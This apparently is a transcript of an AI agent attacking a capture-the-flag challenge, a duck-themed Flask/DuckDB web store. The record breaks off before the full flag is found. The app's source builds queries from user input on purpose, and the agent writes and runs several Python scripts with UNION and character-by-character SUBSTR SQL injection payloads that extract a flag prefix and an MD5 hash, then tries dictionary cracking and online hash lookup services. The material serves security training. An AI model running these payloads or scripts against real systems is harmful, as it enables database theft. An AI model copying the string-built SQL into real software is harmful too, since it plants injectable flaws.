{"filepath": "app (2).py"}

{"result":"from flask import Flask, render_template, request, jsonify\nimport duckdb\nimport pandas as pd\nimport os\nfrom hashlib import md5\n\napp = Flask(name)\n\n# Flag stored in environment variable\nFLAG = os.environ.get('FLAG', 'SSM{fake_flag_for_testing}')\nFLAG_HINT = FLAG[:10]\nFLAG2 = FLAG[10:]\n\n# Initialize DuckDB connection\nconn = duckdb.connect(':memory:')\n\n# Create products table with sample data\nconn.execute("""\n    CREATE TABLE products (\n        id INTEGER,\n        name VARCHAR,\n        category VARCHAR,\n        price DECIMAL(10,2),\n        description VARCHAR\n    );\n\n    CREATE TABLE flags (\n        id INTEGER,\n        secret_type VARCHAR,\n        secret_value VARCHAR\n    );\n""")\n\n# Insert sample products\nsample_products = [\n    (1, 'Rubber Duck', 'Toys', 9.99, 'Classic yellow rubber duck for debugging'),\n    (2, 'DuckDB Manual', 'Books', 29.99, 'Comprehensive guide to DuckDB'),\n    (3, 'Duck Plushie', 'Toys', 14.99, 'Soft and cuddly duck plushie'),\n    (4, 'Database for Dummies', 'Books', 24.99, 'Learn database basics'),\n    (5, 'Duck Keychain', 'Accessories', 4.99, 'Cute duck keychain'),\n    (6, 'SQL Injection Guide', 'Books', 39.99, 'Advanced SQL techniques'),\n    (7, 'Flag Hint', 'Books', 19.99, 'Wow! Making so much progress: ' + FLAG_HINT),\n]\n\nfor product in sample_products:\n    conn.execute(f"""\n        INSERT INTO products VALUES\n        ({product[0]}, '{product[1]}', '{product[2]}', {product[3]}, '{product[4]}')\n    """)\n\nflag_data = pd.DataFrame({\n    'id': [1],\n    'secret_type': ['flag'],\n    'secret_value': [FLAG2]\n})\n\nfor flag in flag_data.itertuples():\n    conn.execute(f"""\n        INSERT INTO flags VALUES\n        ({flag.id}, '{flag.secret_type}', '{md5(flag.secret_value.encode()).hexdigest()}')\n    """)\n\n@app.route('/')\ndef index():\n    return render_template('index.html')\n\n\n@app.route('/search', methods=['POST'])\ndef search():\n    try:\n\n        search_term = request.json.get('query', '')\n\n        if not search_term:\n            return jsonify({'error': 'No search query provided'}), 400\n\n        # Format results\n        columns = ['id', 'name', 'category', 'price', 'description']\n        products = []\n\n\n        # Execute the query\n        result = conn.execute(f"SELECT * FROM products WHERE description NOT LIKE '%{FLAG_HINT}%' AND name LIKE '%{search_term}%'").fetchall()\n\n        for row in result:\n            if not any(FLAG_HINT in str(cell) for cell in row):\n                products.append(dict(zip(columns, row)))\n            \n        return jsonify({'products': products})\n\n    except Exception as e:\n        print(f"Error: {str(e)}")\n        return jsonify({'error': f'Database error: {str(e)}'}), 500\n\n@app.route('/check_flag', methods=['POST'])\ndef check_flag():\n    try:\n        submitted_flag = request.json.get('flag', '')\n\n        if not submitted_flag:\n            return jsonify({'error': 'No flag provided'}), 400\n        \n        if not submitted_flag.startswith(FLAG_HINT):\n            return jsonify({'error': 'Flag does not start with hint'}), 400\n        \n        submitted_flag = submitted_flag[len(FLAG_HINT):] # check if the rest of the flag is correct\n\n        query = f"SELECT * FROM flags WHERE secret_value = '{md5(submitted_flag.encode()).hexdigest()}'"\n\n        print(f"Flag check query: {query}")\n\n        try:\n            result = conn.execute(query).fetchall()\n\n            if result:\n                return jsonify({'correct': True, 'message': 'Flag is correct!'}), 200\n            else:\n                return jsonify({'correct': False, 'message': 'Flag is incorrect'}), 200\n\n        except Exception as e:\n            return jsonify({\n                'error': e,\n            }), 500\n\n    except Exception as e:\n        return jsonify({'error': 'Invalid request'}), 400\n\n@app.route('/health')\ndef health():\n    return jsonify({'status': 'ok', 'database': 'DuckDB', 'version': duckdb.version})\n\nif name == 'main':\n    app.run(host='0.0.0.0', port=80, debug=False)\n"}

{"url": "https://if-it-quacks-like-a-db.ctfchall.se:50000", "prompt": "Extract all visible content, forms, input fields, and any interactive elements on the page"}

# Duck Store - Page Content Analysis

Header & Branding

Title: "Duck Store"
Subtitle: "Find all your favorite duck-themed products"
Duck emoji (🦆) as visual element
Note about admin section being protected

Interactive Elements
Search Functionality:

Text input field (#searchInput) with placeholder for search terms
"Search" button (#searchButton) that triggers product lookup
Keyboard support: Enter key executes search
On page load, automatically searches for "duck"

Display Areas
Results Section:

Product cards showing:

Product name
Category badge (blue)
Price in green
Description text



Feedback Messages:

"No products found" message when search yields zero results
Error displays for network or database issues
Input validation requiring non-empty search terms

Technical Details
The page uses a POST request to /search endpoint with JSON payloads. All user-generated content is HTML-escaped to prevent injection attacks. The interface includes CSS styling with gradient backgrounds (purple theme) and hover effects on interactive elements.
Footer notes the database powers the system with emphasis on reliability.

{"subagent_type": "Bash", "description": "Extract flag via SQLi", "prompt": "Create a Python script to exploit the SQL injection vulnerability in https://if-it-quacks-like-a-db.ctfchall.se:50000/search\n\nThe vulnerability is in the search query:\n```python\nf\"SELECT * FROM products WHERE description NOT LIKE '%{FLAG_HINT}%' AND name LIKE '%{search_term}%'\"\n```\n\nSteps:\n1. First, use UNION injection to extract FLAG_HINT from product 7's description\n2. Then extract the MD5 hash from flags table\n3. Try to extract the plaintext FLAG2 using DuckDB-specific functions\n\nUse this payload strategy:\n- Break out of the LIKE clause with `%' OR 1=1--`\n- Use UNION SELECT to query flags table\n- DuckDB syntax allows subqueries\n\nCreate and run the exploit script to get the complete flag in SSM{...} format."}

Output too large (103KB). Full output saved to: /home/nextjs/.claude/projects/-app-lib-ai/9f3fa350-2387-40c1-a9eb-df8c869758f9/tool-results/toolu_019nCnzrywPjnxaZ6dre6SW9.json

Preview (first 2KB):

{
"type": "text",
"text": "I'll create a Python script to exploit the SQL injection vulnerability and extract the flag from the DuckDB database.\n\n<function_calls>\n<invoke name="create_file">\n<parameter name="path">/app/lib/ai/exploit_sql_injection.py\n<parameter name="content">#!/usr/bin/env python3\n"""\nSQL Injection Exploit for DuckDB CTF Challenge\nTarget: https://if-it-quacks-like-a-db.ctfchall.se:50000/search\n"""\n\nimport requests\nimport re\nimport json\n\nBASE_URL = "https://if-it-quacks-like-a-db.ctfchall.se:50000"\n\ndef search(payload):\n    """Send search request with payload"""\n    url = f"{BASE_URL}/search"\n    params = {"q": payload}\n    try:\n        response = requests.get(url, params=params, timeout=10)\n        return response.text\n    except Exception as e:\n        print(f"Error: {e}")\n        return None\n\ndef extract_data(html):\n    """Extract data from HTML response"""\n    # Look for product cards or table data\n    products = re.findall(r'<div class="product-card">.*?', html, re.DOTALL)\n    results = []\n    for product in products:\n        # Extract text content\n        text = re.sub(r'<[^>]+>', ' ', product)\n        text = ' '.join(text.split())\n        results.append(text)\n    return results\n\ndef main():\n    print("="60)\n    print("SQL Injection Exploit for DuckDB CTF Challenge")\n    print("="60)\n    \n    # Step 1: Test basic injection\n    print("\n[] Step 1: Testing basic SQL injection...")\n    payload = "test%' OR 1=1--"\n    response = search(payload)\n    if response and "product" in response.lower():\n        print("[+] SQL injection confirmed!")\n    else:\n        print("[-] Basic test failed")\n    \n    # Step 2: Extract FLAG_HINT from product 7's description\n    print("\n[] Step 2: Extracting FLAG_HINT from product 7...")\n    # Use UNION to extract description from products table\n    payload = "test%' UNION SE
...

{"filepath": "/sandbox/exploit.py", "content": "#!/usr/bin/env python3\nimport requests\nimport json\n\nBASE_URL = \"https://if-it-quacks-like-a-db.ctfchall.se:50000\"\n\ndef search(payload):\n    \"\"\"Send search request with SQL injection payload\"\"\"\n    url = f\"{BASE_URL}/search\"\n    headers = {\"Content-Type\": \"application/json\"}\n    data = {\"query\": payload}\n    try:\n        response = requests.post(url, json=data, headers=headers, timeout=10)\n        return response.json()\n    except Exception as e:\n        print(f\"Error: {e}\")\n        return None\n\nprint(\"=\"*60)\nprint(\"SQL Injection Exploit for DuckDB CTF\")\nprint(\"=\"*60)\n\n# Step 1: Extract FLAG_HINT by bypassing the filter\nprint(\"\\n[*] Step 1: Extracting FLAG_HINT...\")\n# Bypass: Use OR to ignore the NOT LIKE filter\npayload = \"%' OR id=7--\"\nresult = search(payload)\nif result and 'products' in result:\n    print(f\"[+] Result: {json.dumps(result, indent=2)}\")\n    for product in result['products']:\n        if 'Flag Hint' in product.get('name', ''):\n            print(f\"[+] Found FLAG_HINT in description: {product['description']}\")\n            flag_hint = product['description'].split(': ')[-1]\n            print(f\"[+] FLAG_HINT: {flag_hint}\")\n\n# Step 2: Try to extract from flags table using UNION\nprint(\"\\n[*] Step 2: Attempting UNION injection to access flags table...\")\npayload = \"%' UNION SELECT id, secret_type, secret_value, 0, secret_value FROM flags--\"\nresult = search(payload)\nprint(f\"[+] UNION Result: {json.dumps(result, indent=2)}\")\n\n# Step 3: Try to bypass filter differently\nprint(\"\\n[*] Step 3: Trying different bypass techniques...\")\npayloads = [\n    \"%' OR 1=1--\",\n    \"' OR id=7--\",\n    \"%' OR description LIKE '%SSM%'--\",\n    \"%' UNION SELECT * FROM products WHERE id=7--\",\n]\n\nfor i, payload in enumerate(payloads):\n    print(f\"\\n[*] Testing payload {i+1}: {payload}\")\n    result = search(payload)\n    if result:\n        print(f\"[+] Response: {json.dumps(result, indent=2)}\")\n"}

{"result":"/sandbox/exploit.py"}

{"command": "cd /sandbox && python3 exploit.py", "timeout": 60}

{"exitCode":0,"stdout":"============================================================\nSQL Injection Exploit for DuckDB CTF\n============================================================\n\n[] Step 1: Extracting FLAG_HINT...\n[+] Result: {\n  "products": [\n    {\n      "category": "Toys",\n      "description": "Classic yellow rubber duck for debugging",\n      "id": 1,\n      "name": "Rubber Duck",\n      "price": "9.99"\n    },\n    {\n      "category": "Books",\n      "description": "Comprehensive guide to DuckDB",\n      "id": 2,\n      "name": "DuckDB Manual",\n      "price": "29.99"\n    },\n    {\n      "category": "Toys",\n      "description": "Soft and cuddly duck plushie",\n      "id": 3,\n      "name": "Duck Plushie",\n      "price": "14.99"\n    },\n    {\n      "category": "Books",\n      "description": "Learn database basics",\n      "id": 4,\n      "name": "Database for Dummies",\n      "price": "24.99"\n    },\n    {\n      "category": "Accessories",\n      "description": "Cute duck keychain",\n      "id": 5,\n      "name": "Duck Keychain",\n      "price": "4.99"\n    },\n    {\n      "category": "Books",\n      "description": "Advanced SQL techniques",\n      "id": 6,\n      "name": "SQL Injection Guide",\n      "price": "39.99"\n    }\n  ]\n}\n\n[] Step 2: Attempting UNION injection to access flags table...\n[+] UNION Result: {\n  "products": [\n    {\n      "category": "Toys",\n      "description": "Classic yellow rubber duck for debugging",\n      "id": 1,\n      "name": "Rubber Duck",\n      "price": "9.99"\n    },\n    {\n      "category": "Books",\n      "description": "Comprehensive guide to DuckDB",\n      "id": 2,\n      "name": "DuckDB Manual",\n      "price": "29.99"\n    },\n    {\n      "category": "Toys",\n      "description": "Soft and cuddly duck plushie",\n      "id": 3,\n      "name": "Duck Plushie",\n      "price": "14.99"\n    },\n    {\n      "category": "Books",\n      "description": "Learn database basics",\n      "id": 4,\n      "name": "Database for Dummies",\n      "price": "24.99"\n    },\n    {\n      "category": "Accessories",\n      "description": "Cute duck keychain",\n      "id": 5,\n      "name": "Duck Keychain",\n      "price": "4.99"\n    },\n    {\n      "category": "Books",\n      "description": "Advanced SQL techniques",\n      "id": 6,\n      "name": "SQL Injection Guide",\n      "price": "39.99"\n    },\n    {\n      "category": "f9faf4c817f77defc01213723a0f01e2",\n      "description": "f9faf4c817f77defc01213723a0f01e2",\n      "id": 1,\n      "name": "flag",\n      "price": "0.00"\n    }\n  ]\n}\n\n[] Step 3: Trying different bypass techniques...\n\n[] Testing payload 1: %' OR 1=1--\n[+] Response: {\n  "products": [\n    {\n      "category": "Toys",\n      "description": "Classic yellow rubber duck for debugging",\n      "id": 1,\n      "name": "Rubber Duck",\n      "price": "9.99"\n    },\n    {\n      "category": "Books",\n      "description": "Comprehensive guide to DuckDB",\n      "id": 2,\n      "name": "DuckDB Manual",\n      "price": "29.99"\n    },\n    {\n      "category": "Toys",\n      "description": "Soft and cuddly duck plushie",\n      "id": 3,\n      "name": "Duck Plushie",\n      "price": "14.99"\n    },\n    {\n      "category": "Books",\n      "description": "Learn database basics",\n      "id": 4,\n      "name": "Database for Dummies",\n      "price": "24.99"\n    },\n    {\n      "category": "Accessories",\n      "description": "Cute duck keychain",\n      "id": 5,\n      "name": "Duck Keychain",\n      "price": "4.99"\n    },\n    {\n      "category": "Books",\n      "description": "Advanced SQL techniques",\n      "id": 6,\n      "name": "SQL Injection Guide",\n      "price": "39.99"\n    }\n  ]\n}\n\n[] Testing payload 2: ' OR id=7--\n[+] Response: {\n  "products": [\n    {\n      "category": "Toys",\n      "description": "Classic yellow rubber duck for debugging",\n      "id": 1,\n      "name": "Rubber Duck",\n      "price": "9.99"\n    },\n    {\n      "category": "Books",\n      "description": "Comprehensive guide to DuckDB",\n      "id": 2,\n      "name": "DuckDB Manual",\n      "price": "29.99"\n    },\n    {\n      "category": "Toys",\n      "description": "Soft and cuddly duck plushie",\n      "id": 3,\n      "name": "Duck Plushie",\n      "price": "14.99"\n    },\n    {\n      "category": "Books",\n      "description": "Learn database basics",\n      "id": 4,\n      "name": "Database for Dummies",\n      "price": "24.99"\n    },\n    {\n      "category": "Accessories",\n      "description": "Cute duck keychain",\n      "id": 5,\n      "name": "Duck Keychain",\n      "price": "4.99"\n    },\n    {\n      "category": "Books",\n      "description": "Advanced SQL techniques",\n      "id": 6,\n      "name": "SQL Injection Guide",\n      "price": "39.99"\n    }\n  ]\n}\n\n[] Testing payload 3: %' OR description LIKE '%SSM%'--\n[+] Response: {\n  "products": [\n    {\n      "category": "Toys",\n      "description": "Classic yellow rubber duck for debugging",\n      "id": 1,\n      "name": "Rubber Duck",\n      "price": "9.99"\n    },\n    {\n      "category": "Books",\n      "description": "Comprehensive guide to DuckDB",\n      "id": 2,\n      "name": "DuckDB Manual",\n      "price": "29.99"\n    },\n    {\n      "category": "Toys",\n      "description": "Soft and cuddly duck plushie",\n      "id": 3,\n      "name": "Duck Plushie",\n      "price": "14.99"\n    },\n    {\n      "category": "Books",\n      "description": "Learn database basics",\n      "id": 4,\n      "name": "Database for Dummies",\n      "price": "24.99"\n    },\n    {\n      "category": "Accessories",\n      "description": "Cute duck keychain",\n      "id": 5,\n      "name": "Duck Keychain",\n      "price": "4.99"\n    },\n    {\n      "category": "Books",\n      "description": "Advanced SQL techniques",\n      "id": 6,\n      "name": "SQL Injection Guide",\n      "price": "39.99"\n    }\n  ]\n}\n\n[] Testing payload 4: %' UNION SELECT * FROM products WHERE id=7--\n[+] Response: {\n  "products": [\n    {\n      "category": "Toys",\n      "description": "Classic yellow rubber duck for debugging",\n      "id": 1,\n      "name": "Rubber Duck",\n      "price": "9.99"\n    },\n    {\n      "category": "Books",\n      "description": "Comprehensive guide to DuckDB",\n      "id": 2,\n      "name": "DuckDB Manual",\n      "price": "29.99"\n    },\n    {\n      "category": "Toys",\n      "description": "Soft and cuddly duck plushie",\n      "id": 3,\n      "name": "Duck Plushie",\n      "price": "14.99"\n    },\n    {\n      "category": "Books",\n      "description": "Learn database basics",\n      "id": 4,\n      "name": "Database for Dummies",\n      "price": "24.99"\n    },\n    {\n      "category": "Accessories",\n      "description": "Cute duck keychain",\n      "id": 5,\n      "name": "Duck Keychain",\n      "price": "4.99"\n    },\n    {\n      "category": "Books",\n      "description": "Advanced SQL techniques",\n      "id": 6,\n      "name": "SQL Injection Guide",\n      "price": "39.99"\n    }\n  ]\n}\n","stderr":""}

{"filepath": "/sandbox/exploit2.py", "content": "#!/usr/bin/env python3\nimport requests\nimport json\nimport hashlib\n\nBASE_URL = \"https://if-it-quacks-like-a-db.ctfchall.se:50000\"\n\ndef search(payload):\n    \"\"\"Send search request with SQL injection payload\"\"\"\n    url = f\"{BASE_URL}/search\"\n    headers = {\"Content-Type\": \"application/json\"}\n    data = {\"query\": payload}\n    try:\n        response = requests.post(url, json=data, headers=headers, timeout=10)\n        return response.json()\n    except Exception as e:\n        print(f\"Error: {e}\")\n        return None\n\nprint(\"=\"*60)\nprint(\"Extracting FLAG_HINT\")\nprint(\"=\"*60)\n\n# The filter is: WHERE description NOT LIKE '%{FLAG_HINT}%' AND name LIKE '%{search_term}%'\n# We need to bypass both conditions\n# Use UNION to get product 7 directly\n\npayload = \"%' UNION SELECT id, name, category, price, description FROM products WHERE id=7--\"\nresult = search(payload)\nif result and 'products' in result:\n    print(f\"[+] Result: {json.dumps(result, indent=2)}\")\n    for product in result['products']:\n        if 'Flag' in product.get('name', ''):\n            desc = product['description']\n            print(f\"\\n[+] Found product: {product['name']}\")\n            print(f\"[+] Description: {desc}\")\n            if ': ' in desc:\n                flag_hint = desc.split(': ')[-1]\n                print(f\"[+] FLAG_HINT extracted: {flag_hint}\")\n                \n                # Now we have the MD5 hash from before: f9faf4c817f77defc01213723a0f01e2\n                # We need to find what text hashes to this\n                print(f\"\\n[+] MD5 hash from flags table: f9faf4c817f77defc01213723a0f01e2\")\n                print(f\"[+] This is MD5(FLAG2) where FLAG = FLAG_HINT + FLAG2\")\n"}

{"result":"/sandbox/exploit2.py"}

{"command": "cd /sandbox && python3 exploit2.py", "timeout": 60}

{"exitCode":0,"stdout":"============================================================\nExtracting FLAG_HINT\n============================================================\n[+] Result: {\n  "products": [\n    {\n      "category": "Toys",\n      "description": "Classic yellow rubber duck for debugging",\n      "id": 1,\n      "name": "Rubber Duck",\n      "price": "9.99"\n    },\n    {\n      "category": "Books",\n      "description": "Comprehensive guide to DuckDB",\n      "id": 2,\n      "name": "DuckDB Manual",\n      "price": "29.99"\n    },\n    {\n      "category": "Toys",\n      "description": "Soft and cuddly duck plushie",\n      "id": 3,\n      "name": "Duck Plushie",\n      "price": "14.99"\n    },\n    {\n      "category": "Books",\n      "description": "Learn database basics",\n      "id": 4,\n      "name": "Database for Dummies",\n      "price": "24.99"\n    },\n    {\n      "category": "Accessories",\n      "description": "Cute duck keychain",\n      "id": 5,\n      "name": "Duck Keychain",\n      "price": "4.99"\n    },\n    {\n      "category": "Books",\n      "description": "Advanced SQL techniques",\n      "id": 6,\n      "name": "SQL Injection Guide",\n      "price": "39.99"\n    }\n  ]\n}\n","stderr":""}

{"filepath": "/sandbox/exploit3.py", "content": "#!/usr/bin/env python3\nimport requests\nimport json\nimport hashlib\nimport string\n\nBASE_URL = \"https://if-it-quacks-like-a-db.ctfchall.se:50000\"\n\ndef search(payload):\n    url = f\"{BASE_URL}/search\"\n    headers = {\"Content-Type\": \"application/json\"}\n    data = {\"query\": payload}\n    try:\n        response = requests.post(url, json=data, headers=headers, timeout=10)\n        return response.json()\n    except Exception as e:\n        return {\"error\": str(e)}\n\nprint(\"=\"*60)\nprint(\"Blind SQLi to extract FLAG_HINT character by character\")\nprint(\"=\"*60)\n\n# We know FLAG_HINT is 10 chars and starts with SSM{\n# Extract it using SUBSTR and conditional logic\n\nflag_hint = \"\"\ncharset = string.printable\n\n# The description of product 7 is: \"Wow! Making so much progress: \" + FLAG_HINT\n# We can extract FLAG_HINT by using SUBSTR on the description and checking length\n\n# First, let's try to extract using UNION with SUBSTR to split the FLAG_HINT into separate rows\nprint(\"\\n[*] Attempting to extract FLAG_HINT using SUBSTR...\")\n\n# Try to extract by modifying the query to return the FLAG_HINT in a way that bypasses the filter\n# We can use SUBSTR to extract individual characters\n\nfor pos in range(1, 11):  # FLAG_HINT is 10 chars\n    print(f\"\\n[*] Extracting character at position {pos}...\")\n    \n    for char in charset:\n        # Create a payload that will return a result only if the character at position pos matches\n        payload = f\"%' UNION SELECT {pos}, SUBSTR((SELECT description FROM products WHERE id=7), 31+{pos}, 1), 'test', 0, 'test' WHERE SUBSTR((SELECT description FROM products WHERE id=7), 31+{pos}, 1) = '{char}'--\"\n        \n        result = search(payload)\n        if result and 'products' in result:\n            for product in result['products']:\n                if product.get('id') == pos and product.get('name') == char:\n                    flag_hint += char\n                    print(f\"[+] Found char at position {pos}: {char}\")\n                    print(f\"[+] FLAG_HINT so far: {flag_hint}\")\n                    break\n            else:\n                continue\n            break\n\nprint(f\"\\n[+] Final FLAG_HINT: {flag_hint}\")\n\nif flag_hint:\n    print(f\"\\n[+] MD5 hash of FLAG2: f9faf4c817f77defc01213723a0f01e2\")\n    print(f\"[+] Need to crack this hash or use blind SQLi to extract FLAG2\")\n"}

{"result":"/sandbox/exploit3.py"}

{"filepath": "/sandbox/exploit4.py", "content": "#!/usr/bin/env python3\nimport requests\nimport json\n\nBASE_URL = \"https://if-it-quacks-like-a-db.ctfchall.se:50000\"\n\ndef search(payload):\n    url = f\"{BASE_URL}/search\"\n    headers = {\"Content-Type\": \"application/json\"}\n    data = {\"query\": payload}\n    try:\n        response = requests.post(url, json=data, headers=headers, timeout=10)\n        return response.json()\n    except Exception as e:\n        return {\"error\": str(e)}\n\nprint(\"=\"*60)\nprint(\"Extracting FLAG_HINT using string manipulation\")\nprint(\"=\"*60)\n\n# Strategy: Use SUBSTR to extract each character individually\n# Return them as separate products so they don't contain the full FLAG_HINT\n\nprint(\"\\n[*] Extracting FLAG_HINT character by character...\")\n\nflag_chars = []\nfor i in range(1, 21):  # Try up to 20 chars to be safe\n    # Extract one character at a time from position 31 onwards (after \"Wow! Making so much progress: \")\n    payload = f\"%' UNION SELECT {i}, SUBSTR((SELECT description FROM products WHERE id=7), 30+{i}, 1), 'char', 0, CAST({i} AS VARCHAR)--\"\n    \n    result = search(payload)\n    if result and 'products' in result:\n        for product in result['products']:\n            if product.get('id') == i and product.get('category') == 'char':\n                char = product.get('name', '')\n                if char and char != ' ':\n                    flag_chars.append(char)\n                    print(f\"[+] Position {i}: '{char}'\")\n                else:\n                    print(f\"[*] Position {i}: Empty or space, stopping\")\n                    break\n\nif flag_chars:\n    flag_hint = ''.join(flag_chars)\n    print(f\"\\n[+] Extracted FLAG_HINT: {flag_hint}\")\nelse:\n    print(\"\\n[-] Failed to extract FLAG_HINT\")\n\nprint(\"\\n[*] Now trying alternative: extract full description and parse it locally\")\n# Try to get the description but reverse it or encode it to bypass the filter\npayload = \"%' UNION SELECT 999, REVERSE((SELECT description FROM products WHERE id=7)), 'test', 0, 'test'--\"\nresult = search(payload)\nif result and 'products' in result:\n    for product in result['products']:\n        if product.get('id') == 999:\n            reversed_desc = product.get('name', '')\n            if reversed_desc:\n                original_desc = reversed_desc[::-1]\n                print(f\"[+] Reversed and decoded: {original_desc}\")\n                if ': ' in original_desc:\n                    flag_hint = original_desc.split(': ')[-1]\n                    print(f\"[+] FLAG_HINT: {flag_hint}\")\n"}

{"result":"/sandbox/exploit4.py"}

{"command": "cd /sandbox && python3 exploit4.py", "timeout": 60}

{"exitCode":0,"stdout":"============================================================\nExtracting FLAG_HINT using string manipulation\n============================================================\n\n[] Extracting FLAG_HINT character by character...\n[+] Position 1: 'S'\n[+] Position 2: 'S'\n[+] Position 3: 'M'\n[+] Position 4: '{'\n[+] Position 5: 'd'\n[+] Position 6: 'u'\n[+] Position 7: 'c'\n[+] Position 8: 'k'\n[+] Position 9: 's'\n[+] Position 10: '_'\n[] Position 11: Empty or space, stopping\n[] Position 12: Empty or space, stopping\n[] Position 13: Empty or space, stopping\n[] Position 14: Empty or space, stopping\n[] Position 15: Empty or space, stopping\n[] Position 16: Empty or space, stopping\n[] Position 17: Empty or space, stopping\n[] Position 18: Empty or space, stopping\n[] Position 19: Empty or space, stopping\n[] Position 20: Empty or space, stopping\n\n[+] Extracted FLAG_HINT: SSM{ducks_\n\n[] Now trying alternative: extract full description and parse it locally\n[+] Reversed and decoded: Wow! Making so much progress: SSM{ducks_\n[+] FLAG_HINT: SSM{ducks_\n","stderr":""}

{"filepath": "/sandbox/crack_flag.py", "content": "#!/usr/bin/env python3\nimport requests\nimport json\nimport hashlib\nimport string\n\nBASE_URL = \"https://if-it-quacks-like-a-db.ctfchall.se:50000\"\nFLAG_HINT = \"SSM{ducks_\"\nTARGET_MD5 = \"f9faf4c817f77defc01213723a0f01e2\"\n\ndef check_flag(flag):\n    \"\"\"Submit flag to check endpoint\"\"\"\n    url = f\"{BASE_URL}/check_flag\"\n    headers = {\"Content-Type\": \"application/json\"}\n    data = {\"flag\": flag}\n    try:\n        response = requests.post(url, json=data, headers=headers, timeout=10)\n        return response.json()\n    except Exception as e:\n        return {\"error\": str(e)}\n\nprint(\"=\"*60)\nprint(\"Cracking FLAG2 using MD5 hash\")\nprint(\"=\"*60)\n\n# The MD5 hash is of FLAG2 (the part after FLAG_HINT)\n# Let's try common CTF patterns\n\nprint(f\"\\n[+] FLAG_HINT: {FLAG_HINT}\")\nprint(f\"[+] Target MD5: {TARGET_MD5}\")\n\n# Try common CTF endings\ncommon_patterns = [\n    \"are_cool}\",\n    \"quack}\",\n    \"go_quack}\",\n    \"are_dbs}\",\n    \"are_databases}\",\n    \"like_dbs}\",\n    \"in_dbs}\",\n    \"in_a_row}\",\n    \"everywhere}\",\n    \"ftw}\",\n    \"rule}\",\n    \"rock}\",\n    \"swim}\",\n    \"fly}\",\n    \"waddle}\",\n    \"float}\",\n    \"dive}\",\n]\n\nprint(\"\\n[*] Trying common patterns...\")\nfor pattern in common_patterns:\n    test_md5 = hashlib.md5(pattern.encode()).hexdigest()\n    if test_md5 == TARGET_MD5:\n        full_flag = FLAG_HINT + pattern\n        print(f\"\\n[+] FOUND! FLAG2: {pattern}\")\n        print(f\"[+] Full flag: {full_flag}\")\n        print(f\"[+] MD5 matches: {test_md5}\")\n        \n        # Verify with the check endpoint\n        result = check_flag(full_flag)\n        print(f\"\\n[+] Verification result: {json.dumps(result, indent=2)}\")\n        break\nelse:\n    print(\"\\n[-] Pattern not found in common list\")\n    print(\"\\n[*] Trying brute force with short strings...\")\n    \n    # Try short alphanumeric strings\n    for length in range(1, 15):\n        print(f\"[*] Trying length {length}...\")\n        # This would take too long, let's try dictionary attack instead\n\n# Let's also try to extract FLAG2 directly using error-based SQLi\nprint(\"\\n[*] Attempting to extract FLAG2 using error-based SQLi...\")\n"}

{"result":"/sandbox/crack_flag.py"}

{"command": "cd /sandbox && python3 crack_flag.py", "timeout": 60}

{"exitCode":0,"stdout":"============================================================\nCracking FLAG2 using MD5 hash\n============================================================\n\n[+] FLAG_HINT: SSM{ducks_\n[+] Target MD5: f9faf4c817f77defc01213723a0f01e2\n\n[] Trying common patterns...\n\n[-] Pattern not found in common list\n\n[] Trying brute force with short strings...\n[] Trying length 1...\n[] Trying length 2...\n[] Trying length 3...\n[] Trying length 4...\n[] Trying length 5...\n[] Trying length 6...\n[] Trying length 7...\n[] Trying length 8...\n[] Trying length 9...\n[] Trying length 10...\n[] Trying length 11...\n[] Trying length 12...\n[] Trying length 13...\n[] Trying length 14...\n\n[] Attempting to extract FLAG2 using error-based SQLi...\n","stderr":""}

{"query": "md5 hash f9faf4c817f77defc01213723a0f01e2 decrypt crack"}

Web search results for query: "md5 hash f9faf4c817f77defc01213723a0f01e2 decrypt crack"

Links: [{"title":"Encrypt and Decrypt your MD5 hashes online","url":"https://md5decrypt.net/en/"},{"title":"CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.","url":"https://crackstation.net/"},{"title":"Decrypt MD5, SHA1, MySQL, NTLM, SHA256, MD5 Email, SHA256 Email, SHA512, Wordpress, Bcrypt hashes for free online","url":"https://hashes.com/en/decrypt/hash"},{"title":"MD5 Encrypt/Decrypt Online | 10015 Tools","url":"https://10015.io/tools/md5-encrypt-decrypt"},{"title":"MD5 Online | Free MD5 Decryption, MD5 Hash Decoder","url":"https://www.md5online.org/md5-decrypt.html"},{"title":"MD5 Algorithm - Learn Everything About Decrypt MD5 Hashing","url":"https://www.mygreatlearning.com/blog/decrypt-md5-hashing-algorithm/"},{"title":"MD5 Decrypter - Password Hash (+Salt) - Online Decoder, Dehasher","url":"https://www.dcode.fr/md5-hash"},{"title":"md5 hash decoder and calculator","url":"https://md5hashing.net/hash/md5"},{"title":"Crackhash | hashing","url":"https://cybermonkey.me/cheatsheets/crackhash.html"},{"title":"Cmd5 - MD5 Online ,MD5 Decryption, MD5 Hash Decoder","url":"https://cmd5.org/"}]
Based on the search results, I can provide you with information about MD5 hash cracking and the specific hash you're looking for:
About MD5 Hash "Decryption"
MD5 cannot actually be "decrypted" in the traditional sense - hashing functions cannot be reversed. The only way to find the original value is to compare a given hash with a database of password:hash pairs.
Methods for Cracking MD5 Hashes
There are several common approaches:


Rainbow Tables/Hash Databases: Services use massive pre-computed lookup tables that store mappings between password hashes and their corresponding passwords.(no content)For MD5 and SHA1 hashes, some services have databases with 15-billion entries.


Brute Force Attack: This method uses trial-and-error to generate all combinations of strings, passes them to the MD5 algorithm to get hash values, then looks for matches.


Dictionary Attack: This technique tries thousands or millions of likely possibilities, such as words in a dictionary or previously used passwords, instead of random string combinations.


Available Tools
Several online services can help crack MD5 hashes:

CrackStation
MD5Decrypt.net
Hashes.com
MD5Online.org
Cmd5.org

To crack the specific hash f9faf4c817f77defc01213723a0f01e2, you would need to input it into one of these online MD5 hash lookup databases or use tools like hashcat for offline brute-force cracking.
REMINDER: You MUST include the sources above in your response to the user using markdown hyperlinks.

{"url": "https://md5decrypt.net/en/", "prompt": "Find where to submit the hash f9faf4c817f77defc01213723a0f01e2 for lookup"}

# MD5 Hash Lookup Submission

Based on the website content, you can submit the hash f9faf4c817f77defc01213723a0f01e2 for lookup using the form on md5decrypt.net's main page.
The site explains that to find what plaintext created your hash, you enter it into their search interface. The website states: "When you enter a hash in our search bar, we look into our database if we have a match. If so we provide you with the password."
The site operates by comparing submitted hashes against "billions hashes stored in our database" derived from dictionary attacks and statistical analysis of common passwords. If found, they return the original plaintext; if not found initially, they suggest returning later after their periodic brute-force cracking attempts, or using paid services like hashes.com or hashcat for GPU-based cracking.

